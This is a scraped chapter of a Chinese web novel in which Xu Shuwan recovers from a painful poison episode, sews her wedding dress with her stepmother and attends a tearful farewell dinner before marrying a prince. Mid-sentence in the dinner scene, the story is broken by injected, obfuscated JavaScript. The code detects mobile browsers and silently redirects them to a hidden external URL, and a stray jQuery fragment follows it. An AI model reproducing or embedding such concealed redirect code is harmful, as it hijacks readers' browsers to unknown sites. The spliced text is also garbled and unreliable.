徐书晚醒来时已将近午时。甫一睁眼,看见的便是桑知一双哭肿了的眼睛。
“姑娘,你醒啦!”桑知激动起身,粗鲁地抹去眼角尚未拭去的泪水,满眼惊喜的看着徐书晚。
“桑知,你的眼睛好丑啊!”徐书晚意识还未彻底清明,下意识的说道。
徐书晚这么一说,桑知就更想哭了。
两泡豆大的眼泪再次蓄满了她那双本就红肿的眼睛,回想早上王爷抱着她家姑娘从石室里出来,她家姑娘像是刚从水里被捞出来的一般,苍白的脸上没有半点血色,嘴唇都咬烂了,紧闭的双眸看不见一点生机。
她家姑娘何曾这样虚弱过?
一想到这儿,桑知再也控制不住,“哇”的一声哭了出来。
“你哭什么,我这不是已经没事了吗?”徐书晚着急的坐起身,搂住桑知轻声安慰道,“好桑知,听话,快别哭了,我真的已经一点都不痛了。”
“可这样的痛楚,姑娘你每个月都要经历一次。”桑知哽咽着,努力将那哭意忍了回去。
徐书晚温柔的将她脸上的泪水擦干,“没关系的,我不怕疼,而且,只是这一点的疼,便换回了咱们家一百多余口性命,我觉得很值得。还有啊,你得振作起来,千万别再哭了,不然到时候被哥哥看出破绽,咱们做这么多,不都白费了吗?”
桑知点了点头,总算是不哭了,“姑娘,你饿不饿?王爷命人煮了鱼片粥,一直放着小炉子上热着,我去给你端过来。”
“嗯,好!”
简单用过午膳,凌昀便带着徐书晚回城了。
马车里,凌昀明目张胆的打量着徐书晚,他似乎从来没有这样认真的观察过一位姑娘。
徐书晚自然也察觉到了他的目光,忍了半天,终于还是没忍住,开口问道,“王爷为何一直盯着我?”
“这世间,能承受月浊之痛的没有几个,十之八九,都会因为难以承受的剧痛,选择结束自己的性命。”凌昀直视着徐书晚的双眸,沉声开口。
徐书晚嘴角勾起一抹轻笑,回道,“这样的痛,王爷已经承受了两年之久不是么?”
看着她纯粹的双眸,凌昀的脸上难得也浮现了一抹笑意,“你说的对。”
徐书晚一愣,她好像还是第一次在他脸上看到这样温和的笑意,眨了眨眼睛,移开了视线,笑着道,“没想到王爷还挺会自夸的。”
“不过是实话,算不得自夸。”凌昀坦然的端起小桌子上的茶壶,倒了一杯递给徐书晚后,又给自己倒了一杯,嘴角的笑意似乎一直没有下去。
徐书晚闻言,亦是弯起了嘴角,“是,这确实是实话。”
——
转眼间,便到了十月,秋风卷起的落叶,带来的凉意让人忍不住缩了缩脖子。
如今徐书钦的伤势已是大好,每日早出晚归,难得见他在府里。
这日,陈氏刚命人将新制好的冬衣给几个孩子送过去,看着才扫干净的院子又积了不少落叶,忍不住叹了口气,自己拿起扫帚,开始扫了起来。
如今府里下人有限,虽有晚晚的两千两暂时支撑着,很多事她却还是更愿意亲力亲为,能省则省。
“蓉姨,原来您在这儿”徐书晚匆匆跑过来,急急在陈氏面前停下,看了眼地上薄薄一层落叶,“如今这树叶落得正欢,一天扫十次也是扫不干净的,反正这府里也没什么人来,何必扫这么勤呢?”
“哎,话可不能这么说,所谓扫地如清心,将这地扫干净可不是为了给别人看的,将这些落叶都清理了,展露出干净整洁的道路,你不觉得整个人都会变得舒畅很多吗?”陈氏笑看着徐书晚,温和道。
“是吗,我倒是觉得秋叶落纷纷,金黄铺满城也别有一番景致!”
陈氏慈祥的笑了笑,“你说的也对,对了,你这么着急过来寻我,是有何事?”
徐书晚这才想起正事,笑得有几分扭捏“蓉姨,有个忙想请您帮我一下。”
“难得见你这幅模样,说吧,什么事?”
“蓉姨,您随我来。”见她答应,徐书晚喜笑颜开,拉着陈氏便往自己的房间跑。
看着摆放在自己眼前,已经铺展开了的大红色嫁衣,以及边上摆着的针线和一匣子的东珠,陈氏瞬间了然。
他们家晚晚天资聪颖,学什么都快,唯独针线这一块始终未得其窍门。
这原是宫中尚衣局制好的嫁衣,前两日才刚送了过来。
向来女子的嫁衣都是需要自己缝制的,如今虽说大多数人家其实也都不是自己缝制的,可为了博个好寓意,也还是会让闺女至少亲手绣上几针。
尚衣局送来的这嫁衣,花样繁复,虽说早已预留好了位置方便未来的王妃亲自绣上东珠,可偏偏她家阿晚是个对女红一窍不通的,看着这华丽耀眼的嫁衣自个儿摸索了半天,竟是连哪里还需要补上东珠都没发现。
陈氏无奈一笑,“晚晚,要我帮你可以,不过最终这东珠还是得由你自己绣上去。”
徐书晚眼里闪过一抹失望,不过还是乖乖点了点头,“好。”
陈氏指出需要补针的地方后,坐在一旁安静地看着徐书晚眉头紧锁着补针。忽的却觉得内心一阵酸涩。
她千娇万宠般长大的闺女啊,没想到这一眨眼间,竟然就要出嫁了。
“蓉姨,我绣好了,您帮我再看看,可还有遗漏的地方?”
陈氏回过神来,眨了眨眼睛,将眼里的泪意压了回去,“好,我再看看。”
陈氏仔细检查着嫁衣,露出一抹欣慰的笑,“我仔细看了,绣得很好,我们晚晚果然很厉害。”
徐书晚也笑了,不过却是更多了几分无奈,“不过是绣几颗珠子上去,根本没有任何难度,这有什么厉害的。”
“谁说绣珠子没有难度了,你看这个结打的多漂亮,若是不仔细看,根本看不出来是一个新手绣的。”陈氏一本正经的反驳道。
“好好好,蓉姨说的对,我确实是很厉害!”
两人相视一笑,似乎很久都没有这样简单的快乐过了。
一转眼便到了十月十五。
这一夜,明月高悬,皎洁的月光映照在徐家众人的脸上,可却并不见几张笑颜。
饭桌上,徐书晚左右看了看,笑着开口道,“明日我便要出嫁了,这是喜事一桩,怎么你们一个个都哭丧着一张脸,难道你们不为我高兴吗?”
“二姐!”徐书原抬眸看向徐书晚,眼里不见半分高兴,只有浓浓的担忧与不舍,“二姐你放心,我已经决定要考科举了,等我成了状元,今后一定为你撑腰。”
看着徐书原说得认真且坚定,徐书晚笑着问道,“你不是说最讨厌官场的尔虞我诈吗,怎么突然想通要考科举了?”
“我仔细想过了?二姐你嫁的是皇室,若娘家无势力,将来受了委屈都没人给你撑腰,只有我官坐得越大,二姐你的腰杆才能挺得越直。”
徐书钦却是板着脸敲了敲他的头,“为官为民,你想当官,是为了以权谋私吗?”
徐书原捂着头,虽有些不服气,却也还是不敢顶撞大哥,只得小声的解释道:“我也没说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546698|186736||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不为民啊,只是我才不想给那个昏君效命,当然,最重要的还是给二姐撑腰。”说完,徐书原又心虚的往徐书晚这边靠了靠,生怕大哥再动手打他。
“原儿,你大哥说得对,你若真想做官,当一心为民才是,可千万不能走了歪路。”陈氏也劝道。
“我……”徐书原张了张嘴,却是不知道该如何辩解,谁叫他一开始说错了话。
他真的没想当贪官污吏啊!
瞧着他憋屈的模样,徐书晚眉眼带笑的摸了摸他的头,“你的好意,二姐心领了,你想要考科举二姐也不阻拦,不过你要像蓉姨和大哥说的那样,千万要想好,该怎么当官才是。”
徐书原重重点了点头,“嗯,二姐放心吧!”
有了这么一个序曲,饭桌上的气氛总算不再沉闷,陈氏也打开了话匣子,开始谈论起了她刚嫁过来时的景象。
“还记得,我嫁过来那会儿,晚晚才不过五岁,粉雕玉琢似的小娃娃,只是朝我笑了笑,我的心都要化了,那时我就在想啊,我可真是幸运,不仅成了侯夫人,还有了这么优秀的儿子和这么可爱的女儿,今后我一定要拼尽全力的对他们好。”
陈氏几杯酒下肚,却是突然哭了起来,“其实,我还没嫁进侯府前,我是真的很害怕,我早就听说侯爷对亡妻情深义重,哪怕妻子已经过世五年了也没有续娶,独自抚养一双儿女长大,而我那时名声受损,侯爷是因着流言蜚语才娶我的。”
“我自知身份低微,名声又不好,深怕嫁过来会惹人嫌弃,可我没想到,侯爷人很好,他待我相敬如宾,从未有过刁难,他的一双儿女也很好,从来没有给过我脸色看,我是真的很庆幸,庆幸能够嫁给侯爷,庆幸能够拥有你们这么好的几个孩子。”
“可是,我没有想到,我的晚晚,竟然这么快就要嫁人了,我真的好舍不得啊!”陈氏呜呜的哭着,弄得几个孩子手足无措。
徐书晚见此,立马上去揽住了陈氏的肩膀,将她抱在自己怀里安慰,“我只是嫁人了,又不是再也不回来了,蓉姨你快别哭了,我出生才三个月便没了母亲,在我心里,早已把蓉姨当做了我的亲生母亲,母亲,您快别哭了,好不好?”
“你叫我什么?”陈氏泪眼婆娑的抬起头,难以置信自己方才听到了什么。
徐书晚抬眸看了眼徐书钦,见他朝自己点了点头,这才又看向陈氏,“母亲!”
却不想,陈氏一听,泪水流得更凶猛了,但脸上却是露出了欣慰的笑,“哎,母亲,是母亲,你放心,有母亲在,就绝不会让任何人欺负你的!”
“嗯,我相信母亲。”徐书晚笑着点了点头。
陈氏一说完,似乎是酒劲上头了,没再说几句,便睡着了。
“阿原,母亲睡着了,你送她回房休息。”徐书钦对着徐书原道。
“是。”徐书原虽还想留下跟二姐再说几句话,可到底也不能放下母亲不管,便只好起身送陈氏回去。
徐书晚坐回位置上,看着始终沉着脸的哥哥,轻声唤了一句,“哥哥!”
徐书钦放下酒杯,抬眸看向徐书晚,眼眸中似乎有很多话想说,终还是轻叹了声,“阿晚,我只有你这一个妹妹,答应我,不要再受伤了好不好?”
徐书晚瞳孔闪烁,仔细观察着徐书钦的神色,他平静的脸庞下,似有只有对她未来的担忧,应该不是发现了蛊毒的事。
徐书晚稍放下心来,微笑着点了点头,“嗯,我不会让自己受伤的。”
徐书钦起唇欲再说些什么,最终却只是端起酒杯,一饮而尽。